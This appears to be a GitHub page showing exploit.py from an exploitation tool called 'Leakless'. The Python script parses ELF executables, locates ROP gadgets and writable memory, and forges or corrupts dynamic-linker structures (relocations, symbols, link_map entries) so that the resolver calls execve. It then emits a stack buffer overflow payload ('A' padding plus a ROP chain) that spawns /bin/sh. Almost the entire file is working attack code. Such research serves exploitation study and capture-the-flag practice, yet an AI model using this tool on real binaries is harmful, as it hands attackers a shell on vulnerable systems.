-
Notifications
You must be signed in to change notification settings - Fork 29
/
exploit.py
executable file
·752 lines (595 loc) · 35.2 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
#!/usr/bin/env python
import os
import sys
import glob
import json
import argparse
import operator
import struct
import importlib
import elftools.elf.structs
from elftools.elf.elffile import ELFFile
from elftools.elf.relocation import RelocationSection
from elftools.elf.sections import SymbolTableSection
from elftools.elf.constants import P_FLAGS, SH_FLAGS
from elftools.elf.enums import ENUM_E_TYPE, ENUM_D_TAG
from itertools import izip
from operator import attrgetter
from collections import namedtuple
from rangeset import RangeSet
import utils
from utils import *
from memory import *
ElfN_Versym_size = 2
DF_BIND_NOW = 0x8
DF_1_NOW = 0x1
relocation_types = {
"EM_386": 7,
"EM_X86_64": 7,
"EM_ARM": 22
}
# `ExploitInfo`
# * `prepare`: information on how to prepare the memory for the exploit
# * `reloc_index`: the index to pass to `dl_resolve`
# * `l_struct`: a *pointer* to a memory area containing a pointer to the `l`
# structure used by the `dl_resolve`
# * `dl_resolve`: a *pointer* to a memory area containing a pointer to the
# `dl_resolve` function
# * `plt0`: the address of the first entry of the .plt which will call
# `_dl_runtime_resolve`
ExploitInfo = namedtuple("ExploitInfo", ["prepare", "reloc_index", "l_struct",
"dl_resolve", "plt0", "function_name_area"])
class Exploit:
__slots__ = "arch", "little", "pointer_size", "dynstr", "dynsym", \
"relplt", "plt", "filler", "relocation_type", \
"dynamic", "versym", "gadgets", "fini"
def __init__(self):
self.gadgets = {}
self.empty_exploit = lambda: ""
self.badchars = []
def allocate_helpers(self, buffer):
return ""
def add_gadget(self, architecture, name, info, gadget):
"""Adds a gadget to the collection of gadgets for the specified architecture."""
if architecture not in self.gadgets:
self.gadgets[architecture] = {}
self.gadgets[architecture][name] = (info, gadget)
def get_gadget(self, name):
"""Returns the gadget with the specified name for the current architecture"""
return self.gadgets[self.arch][name]
# TODO: split this, not everyone needs everything
def config_from_elf(self, path):
"""Load all the necessary information about the program parsing the ELF
headers. Furthermore, check some pre-requisites for the exploit to be
successful."""
executable_file = open(path, "r")
elf = ELFFile(executable_file)
get_section = lambda name: first_or_none(filter(lambda section: section.name == name, elf.iter_sections()))
get_section_address = lambda section: None if (get_section(section) is None) else get_section(section).header.sh_addr
# Checks
if elf.header.e_type == ENUM_E_TYPE["ET_EXEC"]:
raise Exception("Only non-PIE executables are supported")
# Binary type
self.arch = elf.header.e_machine
self.little = elf.little_endian
self.pointer_size = elf.elfclass / 8
self.pointer_format = ("0x%." + str(self.pointer_size * 2) + "x")
self.structs = elftools.elf.structs.ELFStructs(self.little, self.pointer_size * 8)
# Useful sections
self.sections = {section.name: (section.header.sh_addr, section.header.sh_addr + section.header.sh_size) for section in elf.iter_sections()}
self.plt = get_section_address(".plt")
self.got = get_section_address(".got")
self.gotplt = get_section_address(".got.plt")
# Dynamic section
dynamic_section = get_section(".dynamic")
self.writable_dynamic = dynamic_section.header.sh_flags & SH_FLAGS.SHF_WRITE
self.dynamic = dynamic_section.header.sh_addr
dynamic_entries = [self.structs.Elf_Dyn.parse(dynamic_entry)
for dynamic_entry in
chunks(dynamic_section.data(), self.structs.Elf_Dyn.sizeof())]
# Dynamic symbols
# TODO: we're relying on section names here
symbol_table = elf.get_section_by_name(".dynsym")
has_name = lambda name: lambda symbol: symbol.name == name
attribute_or_default = lambda default, attribute, x: getattr(x, attribute) if x is not None else default
memcpy_symbol = first_or_none(filter(has_name("memcpy"), symbol_table.iter_symbols()))
self.memcpy_plt = 0 if memcpy_symbol is None else memcpy_symbol.entry.st_value
# We try not to rely on section names
get_dynamic = lambda name: first_or_none(map(lambda entry: entry.d_val, filter(lambda entry: entry.d_tag == name, dynamic_entries)))
get_dynamic_index = lambda name: filter(lambda entry: entry[1].d_tag == name, enumerate(dynamic_entries))[0][0]
self.dynstr = get_dynamic("DT_STRTAB")
self.dynsym = get_dynamic("DT_SYMTAB")
self.versym = get_dynamic("DT_VERSYM")
self.verneed = get_dynamic("DT_VERNEED")
self.relplt = get_dynamic("DT_JMPREL")
self.addend = get_dynamic("DT_RELA") is not None
self.dt_debug = self.dynamic + get_dynamic_index("DT_DEBUG") * self.structs.Elf_Dyn.sizeof() + self.pointer_size
self.full_relro = (get_dynamic("DT_FLAGS") is not None) and \
((get_dynamic("DT_FLAGS") & DF_BIND_NOW) != 0)
self.full_relro = self.full_relro or ((get_dynamic("DT_FLAGS_1") is not None) and \
((get_dynamic("DT_FLAGS_1") & DF_1_NOW) != 0))
# Choose between Elf_Rel and Elf_Rela depending on the architecture
self.rel_struct = self.structs.Elf_Rela if self.addend else self.structs.Elf_Rel
# Looks like 64-bit and 32-bit have different alignment for the call to _dl_fixup
self.reloc_alignment = 1 if self.pointer_size == 4 else self.rel_struct.sizeof()
self.reloc_index_multiplier = self.rel_struct.sizeof() if self.pointer_size == 4 else 1
#
# Find candidate writeable areas
#
# Collect PT_LOAD segments (what gets mapped)
loaded_segments = filter(lambda segment: segment.header.p_type == "PT_LOAD", elf.iter_segments())
# Collect the segments which are writeable
writeable_segments = filter(lambda segment: segment.header.p_flags & P_FLAGS.PF_W, loaded_segments)
# Get their memory ranges (start, end)
writeable_ranges = RangeSet.mutual_union(*map(lambda segment: (segment.header.p_vaddr, segment.header.p_vaddr + segment.header.p_memsz), writeable_segments))
# List of sections we don't want to write to
dont_overwrite_sections = filter_none([self.dynstr, self.dynsym, self.versym, self.relplt, self.dynamic, self.got, self.gotplt])
# Memory ranges of the sections we don't want to write to
dont_overwrite_ranges = RangeSet.mutual_union(*[self.sections[self.section_from_address(start)] for start in dont_overwrite_sections])
# Handle RELRO segment, we don't want to write there
relro_segment = first_or_none(filter(lambda segment: segment.header.p_type == "PT_GNU_RELRO", elf.iter_segments()))
if relro_segment is not None:
dont_overwrite_ranges = dont_overwrite_ranges | RangeSet(relro_segment.header.p_vaddr, relro_segment.header.p_vaddr + relro_segment.header.p_memsz)
# Compute the set of candidate memory ranges
self.writeable_ranges = writeable_ranges - dont_overwrite_ranges
# Save the index of the DT_FINI entry
fini = filter(lambda (i, entry): entry.d_tag == "DT_FINI", enumerate(dynamic_entries))
if len(fini) > 0:
self.fini = self.dynamic + self.structs.Elf_Dyn.sizeof() * fini[0][0]
# Gadgets
if self.gadgets.has_key(self.arch):
executable_segments = filter(lambda segment: segment.header.p_flags & P_FLAGS.PF_X, elf.iter_segments())
for name, (info, gadget) in self.gadgets[self.arch].iteritems():
locations = find_all_strings(executable_segments, hex_bytes(gadget))
locations = map(self.ptr2str, locations)
location = first_or_none(filter(lambda address: not reduce(lambda accumulate, badchar: badchar in address or accumulate, self.badchars , False), locations))
if location is None:
self.gadgets[self.arch][name] = None
else:
self.gadgets[self.arch][name] = (info, gadget, location)
# Find all '\x00\x00' in non-writeable segments
self.non_writeable_segments = filter(lambda segment: not (segment.header.p_flags & P_FLAGS.PF_W), loaded_segments)
self.zero_or_one_addresses = find_all_strings(self.non_writeable_segments, "\x00\x00") + \
find_all_strings(self.non_writeable_segments, "\x01\x00" if self.little else "\x00\x01")
self.filler = self.ptr2str(reduce(lambda x,y: (x << 32) | 0xdeadb00b, xrange(1 + (self.pointer_size % 4)), 0))
self.relocation_type = relocation_types[self.arch]
#
# Find the reloc pointing to the symbol whose name is the earliest in .dynstr
#
relplt_section = elf.get_section_by_name(self.section_from_address(self.relplt))
dynsym_section = elf.get_section_by_name(self.section_from_address(self.dynsym))
if not (isinstance(relplt_section, RelocationSection) and \
isinstance(dynsym_section, SymbolTableSection)):
raise Exception("Unexpect type for dynamic sections: " + str(relplt_section) + " " + str(dynsym_section))
# Grab .got.plt relocs symbol indexes
symbol_indexes = [reloc.entry.r_info_sym if reloc.entry.r_info_type == self.relocation_type else None for reloc in relplt_section.iter_relocations()]
# Get offsets in .dynstr
names_offsets = [dynsym_section.get_symbol(index).entry.st_name if index is not None else None for index in symbol_indexes]
# Filter out unamed offsets
names_offsets = [offset if offset > 0 else None for offset in names_offsets]
# Get the minimum value
self.min_reloc_index, self.min_string_offset = min(enumerate(names_offsets), key=operator.itemgetter(1))
self.min_symbol_index = symbol_indexes[self.min_reloc_index]
log(self.dump())
def get_non_writeable_segment(self, address):
for non_writeable_segment in self.non_writeable_segments:
start = non_writeable_segment.header.p_vaddr
end = start + non_writeable_segment.header.p_memsz
if (start <= address) and (address < end):
return non_writeable_segment
return None
def read_non_writeable(self, address, size):
segment = self.get_non_writeable_segment(address)
if segment is None:
raise Exception("Not a non-writeable address: " + hex(address))
start = segment.header.p_vaddr
end = start + segment.header.p_memsz
return segment.data()[address - start:address - start + size]
def section_from_address(self, address):
for name, section in self.sections.iteritems():
start = section[0]
end = section[1]
# TODO: we're excluding mappings at 0
if (start > 0) and (start <= address) and ((address < end) or ((start > 0) and (end - start == 0))):
return name
raise Exception("Can't find a section for address " + hex(address))
def closest_section_from_address(self, address):
sorted_sections = [0] + sorted([section[0] for section in self.sections.itervalues()]) + [(1 << 8 * self.pointer_size) - 1]
for start, end in pairwise(sorted_sections):
if (start <= address) and (address < end):
return ("0" if start == 0 else self.section_from_address(start)) + " + " + hex(address - start)
raise Exception("Can't find a section for address " + hex(address))
def dump(self):
"""Dump all the information held by this Exploit instance for debugging
purposes."""
return "\n".join([slot + ": " + str(getattr(self, slot)) for slot in self.__slots__])
# Utility functions
# =================
def ptr2str(self, integer):
"""Convert a pointer (in the form of an integer) to a byte string of its memory
representation according the current architecture endianness."""
direction = "<" if self.little else ">"
word_size = "Q" if self.pointer_size == 8 else "I"
mask = (1 << self.pointer_size * 8) - 1
return struct.pack(direction + word_size, integer & mask)
def str2ptr(self, string):
"""Convert a byte string representing a pointer to an integer."""
direction = "<" if self.little else ">"
word_size = "Q" if self.pointer_size == 8 else "I"
return struct.unpack(direction + word_size, string)[0]
# Abstractions to write memory
# ============================
def write_all(self, start, string):
if (self.memcpy_plt) and (len(string) > self.pointer_size):
return self.memcpy(start, string)
result = self.empty_exploit()
remaining = string
while len(remaining) > 0:
remaining, writer = self.do_writemem(self.ptr2str(start + len(string) - len(remaining)), remaining)
result += writer
return result
def flush(self, buffer):
result = self.empty_exploit()
content_buffer = ""
areas = filter(attrgetter("is_buffered"), buffer.areas.values())
last_start = last_end = areas[0].start
for memory_area in areas:
memory_area.is_buffered = False
if last_end == memory_area.start:
content_buffer += memory_area.content
last_end += len(memory_area.content)
else:
result += self.write_all(last_start, content_buffer)
content_buffer = memory_area.content
last_start = last_end = memory_area.start
result += self.write_all(last_start, content_buffer)
return result
def write_string(self, memory_area, string, buffered=True):
"""Write an input string in the specified memory area invoking an appropriate
number of times the do_writemem function."""
string_len = len(string)
if string_len == 0:
return self.empty_exploit()
elif string_len > memory_area.size:
raise Exception("You're trying to write {} bytes in a MemoryArea {} bytes wide".format(string_len, memory_area.size))
memory_area.is_buffered = buffered
memory_area.content = string
if not buffered:
return self.write_all(memory_area.start, string)
else:
return self.empty_exploit()
def write_pointer(self, memory_area, pointer, buffered=True):
"""Write a pointer (an integer) to a memory area."""
return self.write_string(memory_area, self.ptr2str(pointer), buffered)
def create_relocation(self, buffer, symbol_index, align_to=None):
"""Create an ElfN_Rel using a writable memory area as relocation
target and referencing the requested symbol index."""
reloc = buffer.allocate(self.rel_struct.sizeof(), align_to, self.reloc_alignment, name="reloc")
relocation_target = buffer.allocate(self.pointer_size, name="relocation_target")
# Create the Elf_Rela? structure to the exploit
function_reloc = self.rel_struct.parse("\0" * self.rel_struct.sizeof())
function_reloc.r_offset = relocation_target.start
function_reloc.r_info_type = self.relocation_type
function_reloc.r_info_sym = symbol_index
if self.pointer_size * 8 == 32:
function_reloc.r_info = function_reloc.r_info_type | (function_reloc.r_info_sym << 8)
else:
function_reloc.r_info = function_reloc.r_info_type | (function_reloc.r_info_sym << 32)
prepare = self.write_string(reloc, self.rel_struct.build(function_reloc))
return prepare, reloc
class CraftDlStructsExploit(Exploit):
def jump_to(self, buffer, function_name_max_length):
"""Craft the necessary data structures (Elf_Rela?, Elf_Sym, version index) and
strings to pass to the dynamic linker."""
# Part of the ROP exploit to write the data structures
exploit = self.empty_exploit()
# Allocate the buffers necessary for the data structure we're going to
# create
function_name_str = buffer.allocate(function_name_max_length, self.dynstr, 1, name="function_name_str")
# TODO: move symbol as first thing in the buffer
if self.versym:
to_range = lambda address, size: (address, address + size)
# We have three possible constraints (in order of preference):
# 1. The version index has special value 0 (local) or 1 (global)
# 2. The version index falls in a memory area we can write
# 3. The version index points to ElfN_Verneed structure we can write
constraints = [lambda address, versym: versym in self.zero_or_one_addresses,
lambda address, versym: to_range(versym, ElfN_Versym_size) in buffer.ranges,
lambda address, versym: (self.get_non_writeable_segment(versym) is not None) and \
(to_range(self.verneed + self.structs.Elf_Verneed.sizeof() * self.str2ptr(self.read_non_writeable(versym, ElfN_Versym_size)), self.structs.Elf_Verneed.sizeof()) in buffer.ranges)]
wrap_versym = lambda func: lambda address, index: func(address, self.versym + ElfN_Versym_size * index)
constraints = map(wrap_versym, constraints)
else:
constraints = [lambda x,y: True]
errors = 0
for constraint in constraints:
try:
symbol = buffer.allocate(self.structs.Elf_Sym.sizeof(), self.dynsym, name="symbol", constraint=constraint)
break
except AllocateFailException:
errors += 1
pass
if self.versym:
if errors > 2: # We failed
raise Exception("Can't find a position for the Elf_Sym")
versym_address = self.versym + ElfN_Versym_size * symbol.index
if errors == 1: # We can write in ElfN_Versym
versym_area = buffer.allocate(ElfN_Versym_size, align_to=self.versym, start=versym_address)
exploit += self.write_string(versym_area, "\x00\x00")
elif errors == 2: # We can write in ElfN_Verneed
verneed_address = self.verneed + self.structs.Elf_Verneed.sizeof() * self.str2ptr(self.read_non_writeable(versym_address, ElfN_Versym_size))
verneed_area = buffer.allocate(self.structs.Elf_Verneed.sizeof(), align_to=self.verneed, start=verneed_address)
verneed_struct = self.structs.Elf_Verneed.parse("\0" * self.structs.Elf_Verneed.sizeof())
verneed_struct.vn_version = 1;
verneed_struct.vn_cnt = 0;
verneed_struct.vn_file = 0;
verneed_struct.vn_aux = 0;
verneed_struct.vn_next = 0;
exploit += self.write_string(verneed_area, self.structs.Elf_Verneed.build(verneed_struct))
# Append the creation of the Elf_Sym structure to the exploit
function_symbol = self.structs.Elf_Sym.parse("\0" * self.structs.Elf_Sym.sizeof())
function_symbol.st_name = function_name_str.index
function_symbol.st_info.bind = "STB_GLOBAL"
function_symbol.st_info.type = "STT_FUNC"
exploit += self.write_string(symbol, self.structs.Elf_Sym.build(function_symbol))
prepare_relocation, reloc = self.create_relocation(buffer, symbol.index, align_to=self.relplt)
exploit += prepare_relocation
return ExploitInfo(prepare=exploit, reloc_index=reloc.index, plt0=self.plt, l_struct=None, dl_resolve=None, function_name_area=function_name_str)
class CorruptLdSoExploit(Exploit):
def jump_to(self, buffer, function_name_max_length):
dt_strtab_offset = ENUM_D_TAG["DT_STRTAB"] * self.pointer_size
l_info_offset = 8 * self.pointer_size
fake_dynstr_area = buffer.allocate(self.min_string_offset, name="fake_dynstr")
function_name_area = buffer.allocate(function_name_max_length, fake_dynstr_area.start, 1, name="function_name")
# TODO: instead of this support for "don't care" memory areas
# Allocate the DT_STRTAB dynamic entry (possibly in the fake .dynstr itself, if it fits)
if fake_dynstr_area.size >= self.structs.Elf_Dyn.sizeof():
dt_strtab_entry_area = fake_dynstr_area
else:
dt_strtab_entry_area = buffer.allocate(self.structs.Elf_Dyn.sizeof(), name="dt_strtab_entry")
exploit = self.empty_exploit()
# TODO: here is not really necessary to write DT_STRTAB, no one will check that
dt_strtab_entry = self.structs.Elf_Dyn.parse("\x00" * self.structs.Elf_Dyn.sizeof())
dt_strtab_entry.d_tag = "DT_STRTAB"
dt_strtab_entry.d_val = fake_dynstr_area.start
exploit += self.write_string(dt_strtab_entry_area, self.structs.Elf_Dyn.build(dt_strtab_entry))
if not self.full_relro:
# OK, the l_pointer is just a GOT[1] and dl_resolve is in GOT[2]
l_pointer = self.gotplt + self.pointer_size * 1
dl_resolve_pointer = self.gotplt + self.pointer_size * 2
# We can also use the plt[0] entry
plt0 = self.plt
reloc_index = self.min_reloc_index * self.rel_struct.sizeof()
else:
# We can't use GOT[1], GOT[2] or plt[0], let's work around this
# We reuse a part of the buffer multiple times
exe_link_map_area = buffer.allocate(self.pointer_size, name="exe_link_map")
first_lib_link_map_area = buffer.allocate(self.pointer_size, name="first_lib_link_map")
dyn_gotplt_area = first_lib_link_map_area # Reuse
gotplt_area = dyn_gotplt_area # Reuse
dl_resolve_area = gotplt_area # Reuse
# Prepare fake relocation
prepare_relocation, fake_relocation_area = self.create_relocation(buffer, self.min_symbol_index)
exploit += prepare_relocation
# TODO: factorize this
dt_jmprel_entry_area = buffer.allocate(self.structs.Elf_Dyn.sizeof(), name="fake_jmprel_entry")
# TODO: here is not really necessary to write DT_JMPREL, no one will check that
dt_jmprel_entry = self.structs.Elf_Dyn.parse("\x00" * self.structs.Elf_Dyn.sizeof())
dt_jmprel_entry.d_tag = "DT_JMPREL"
dt_jmprel_entry.d_val = fake_relocation_area.start
exploit += self.write_string(dt_jmprel_entry_area, self.structs.Elf_Dyn.build(dt_jmprel_entry))
# Let's navigate a bit through data structures
# exe_link_map = *(*DT_DEBUG.d_val + offsetof(r_map))
# TODO: factorize out glibc's magic numbers
r_map_offset = self.pointer_size # an int
exploit += self.deref_with_offset_and_save(self.ptr2str(self.dt_debug),
self.ptr2str(r_map_offset),
self.ptr2str(exe_link_map_area.start))
# first_lib_link_map = *(*exe_link_map + offsetof(l_next))
l_next_offset = self.pointer_size * 3 # skip l_addr, l_name and l_ld
exploit += self.deref_with_offset_and_save(self.ptr2str(exe_link_map_area.start),
self.ptr2str(l_next_offset),
self.ptr2str(first_lib_link_map_area.start))
# Repeat until we reach the desired library (check with `ldd`)
for _ in xrange(1, self.library_index + 1):
exploit += self.deref_with_offset_and_save(self.ptr2str(first_lib_link_map_area.start),
self.ptr2str(l_next_offset),
self.ptr2str(first_lib_link_map_area.start))
# dyn_gotplt = *(*first_lib_link_map + offsetof(l_info) + offsetof(DT_PLTGOT))
dt_pltgot_offset = ENUM_D_TAG["DT_PLTGOT"] * self.pointer_size
exploit += self.deref_with_offset_and_save(self.ptr2str(first_lib_link_map_area.start),
self.ptr2str(l_info_offset + dt_pltgot_offset),
self.ptr2str(dyn_gotplt_area.start))
# gotplt = *(*dyn_gotplt + offsetof(d_val))
d_val_offset = self.pointer_size
exploit += self.deref_with_offset_and_save(self.ptr2str(dyn_gotplt_area.start),
self.ptr2str(d_val_offset),
self.ptr2str(gotplt_area.start))
# dl_resolve = *(*gotplt + offsetof(dl_resolve_offset))
dl_resolve_offset = self.pointer_size * 2 # Take GOT[2]
exploit += self.deref_with_offset_and_save(self.ptr2str(gotplt_area.start),
self.ptr2str(dl_resolve_offset),
self.ptr2str(dl_resolve_area.start))
# Make DT_JMPREL of the main executable point to our fake relocation
# *(*exe_link_map + offsetof(l_info) + offsetof(DT_REL)) = fake_relocation
dt_rel_offset = ENUM_D_TAG["DT_JMPREL"] * self.pointer_size
exploit += self.write_with_offset(self.ptr2str(exe_link_map_area.start),
self.ptr2str(l_info_offset + dt_rel_offset),
self.ptr2str(dt_jmprel_entry_area.start))
l_pointer = exe_link_map_area.start
dl_resolve_pointer = dl_resolve_area.start
plt0 = None
reloc_index = 0
# Make DT_STRTAB point to our fake DT_STRTAB structure
# *(*l_pointer + offsetof(l_info) + offsetof(DT_STRTAB)) = dt_strtab_entry
exploit += self.write_with_offset(self.ptr2str(l_pointer),
self.ptr2str(l_info_offset + dt_strtab_offset),
self.ptr2str(dt_strtab_entry_area.start))
return ExploitInfo(prepare=exploit,
reloc_index=reloc_index,
l_struct=l_pointer,
dl_resolve=dl_resolve_pointer,
plt0=plt0,
function_name_area=function_name_area)
def launch(exploit, program):
"""Launch an execve("/bin/sh/", &null, &null); exploit."""
buffer = Buffer(exploit, exploit.writeable_ranges)
binsh_str = program + "\0"
pointer_to_null = buffer.allocate(exploit.pointer_size, name="pointer_to_null")
binsh = buffer.allocate(len(binsh_str), name="binsh")
result = ""
result += exploit.allocate_helpers(buffer)
# Pointer to NULL
result += exploit.write_pointer(pointer_to_null, 0)
# /bin/sh
result += exploit.write_string(binsh, binsh_str)
# TODO: fixme
exploit_info = exploit.jump_to(buffer, len("execve\0"))
result += exploit.write_string(exploit_info.function_name_area, "execve\0")
result += exploit_info.prepare
result = exploit.flush(buffer) + result
result += invoke(exploit, exploit_info, [binsh.pointer, pointer_to_null.pointer, pointer_to_null.pointer])
log(buffer.dump())
return result
def invoke(exploit, exploit_info, parameters):
result = ""
if exploit_info.plt0 is not None:
# Invocation of the dynamic linker resolver (plt[0]) with the
# appropriate relocation index
launch = exploit.ptr2str(exploit_info.plt0) + exploit.ptr2str(exploit_info.reloc_index)
prepare, nope, stack_frame = exploit.call(launch, parameters)
result += prepare + stack_frame
elif (exploit_info.dl_resolve is not None) and \
(exploit_info.l_struct is not None):
# TODO: this is outdated
# Layout:
# ©_to_stack
# offset = C - A
# destination
# A: ©_to_stack
# offset = B - B
# destination
# B: &dl_resolve
# C: &l
# reloc_index
function_call, next_gadget_offset, stack_frame = exploit.call(exploit.filler, parameters)
copy_dl_resolve = exploit.copy_to_stack(exploit.ptr2str(exploit_info.dl_resolve),
exploit.ptr2str(next_gadget_offset + 0 * exploit.pointer_size))
result += exploit.copy_to_stack(exploit.ptr2str(exploit_info.l_struct),
exploit.ptr2str(len(copy_dl_resolve) + len(function_call))) + \
copy_dl_resolve + \
function_call + \
exploit.filler + \
exploit.ptr2str(exploit_info.reloc_index) + \
stack_frame
else:
raise Exception("Don't know how to launch the exploit")
return result
exploit_method = {
"ld-corrupt": CorruptLdSoExploit,
"craft-dl-structs": CraftDlStructsExploit
}
def main():
# Handle arguments
parser = argparse.ArgumentParser(description='Leakless')
parser.add_argument('executable', metavar='EXECUTABLE', help='Path to the executable to exploit.', nargs=1)
parser.add_argument("-o", '--output', metavar="TYPE", default="rop-chain", help='"rop-chain" will generate a ROP chain to exploit a stack based buffer overflow. "json" will output information about what needs to be written and where, along with the address of _dl_resolve_address and the index to pass it. Default is "rop-chain".')
parser.add_argument("-m", "--method", metavar="METHOD", default="craft-dl-structs", help='"craft-dl-structs" will try to create all the structures necessary to invoke the dynamic loader in a writable memory address.\n"ld-corrupt" changes the pointer to DT_STRTAB ElfN_Dyn entry in an internal data structure of the loader and fakes a .dynstr table. Default is "craft-dl-structs".')
parser.add_argument("-v", '--verbose', action='store_true', help="Print debug information.")
parser.add_argument("-f", '--offset', metavar='OFFSET', type=int, help='Offset to overwrite the saved PC.')
parser.add_argument("-l", '--library', metavar='LIBRARY', type=int, default=0, help='When using the "ld-corrupt" method, use the LIBRARY-th dependency to obtain the dl_resolve pointer. Use `ldd` to get the order of the libraries. By default is 0.')
parser.add_argument("-s", '--size', action="store_true", help="Don't output the acutal ROP chain, but just its size.")
args = parser.parse_args()
executable_path = args.executable[0]
utils.verbose = args.verbose
# TODO: implement "gdb" output method
if args.output in ["json", "ropl"]:
route = "dump"
else:
route = args.output
# Handle registered modules
gadget_providers = {}
modules = glob.glob(os.path.dirname(__file__) + "/plugins/*.py")
modules = [os.path.splitext(os.path.basename(module))[0] for module in modules]
modules.remove("__init__")
for module_name in modules:
module = importlib.import_module("plugins." + module_name)
for key, value in module.register_gadget_provider():
gadget_providers[key] = value
# Instantiate inline a class with the appropriate subclasses
exploit = (type("", (gadget_providers[route], exploit_method[args.method], object), {}))()
exploit.config_from_elf(executable_path)
exploit.library_index = args.library
if args.output == "json":
# TODO: move in an external function
buffer = Buffer(exploit, exploit.writeable_ranges)
exploit_info = exploit.jump_to(buffer, len("execve\0"))
result = exploit.empty_exploit()
result += exploit.write_string(exploit_info.function_name_area, "execve\0")
result += exploit_info.prepare
result = exploit.flush(buffer) + result
what_to_write = []
for gadget_type, value, address, offset in result:
if gadget_type == "write_constant":
address = hex(exploit.str2ptr(address))
elif gadget_type == "write_with_offset":
address = {"deref": hex(exploit.str2ptr(address)), "offset": hex(exploit.str2ptr(offset))}
elif gadget_type == "deref_with_offset_and_save":
address = {"deref": hex(exploit.str2ptr(address)), "offset": hex(exploit.str2ptr(offset))}
what_to_write.append({"address": hex(exploit.str2ptr(value)), "value": address})
continue
what_to_write.append({"address": address, "value": value.encode("hex")})
result = {"write": what_to_write, "reloc_index": exploit_info.reloc_index}
if exploit_info.plt0 is not None:
result["plt0"] = hex(exploit_info.plt0)
else:
result["l_struct"] = hex(exploit_info.l_struct)
result["dl_resolve"] = hex(exploit_info.dl_resolve)
sys.stdout.write(json.dumps(result, indent=4, sort_keys=True) + "\n")
return
elif args.output == "ropl":
# TODO: move in an external function
buffer = Buffer(exploit, exploit.writeable_ranges)
exploit_info = exploit.jump_to(buffer, len("execve\0"))
result = exploit.empty_exploit()
result += exploit.write_string(exploit_info.function_name_area, "execve\0", buffered=False)
result += exploit_info.prepare
result = exploit.flush(buffer) + result
sys.stdout.write("fun main() {\n")
emit = lambda x: sys.stdout.write(" " + x + "\n")
for gadget_type, value, address, offset in result:
if gadget_type == "write_constant":
address = exploit.str2ptr(address)
remaining = len(value) % exploit.pointer_size
if remaining != 0:
value += "\x00" * (exploit.pointer_size - remaining)
for word, address in izip(chunks(value, exploit.pointer_size), xrange(address, address + len(value) / 4, 4)):
emit("v = {}".format(hex(address)))
emit("[v] = {}".format(hex(exploit.str2ptr(word))))
elif gadget_type == "write_with_offset":
address = hex(exploit.str2ptr(address))
offset = hex(exploit.str2ptr(offset))
value = hex(exploit.str2ptr(value))
emit("address = {}".format(address))
emit("target = [address] + {}".format(offset))
emit("[target] = {}".format(value))
elif gadget_type == "deref_with_offset_and_save":
save_address, pointer_address, offset = hex(exploit.str2ptr(value)), hex(exploit.str2ptr(address)), hex(exploit.str2ptr(offset))
emit("target = {}".format(save_address))
emit("source = {}".format(pointer_address))
emit("value = [source] + {}".format(offset))
emit("[target] = [value]".format(save_address))
emit("")
sys.stdout.write("}\n")
return
else:
if args.offset is None:
log("Please give me the offset to reach the saved PC.")
sys.exit(-1)
exploit = launch(exploit, "/bin/sh")
if args.size:
sys.stdout.write(str(len(exploit)) + "\n")
else:
sys.stdout.write("A" * args.offset + exploit)
if __name__ == "__main__":
main()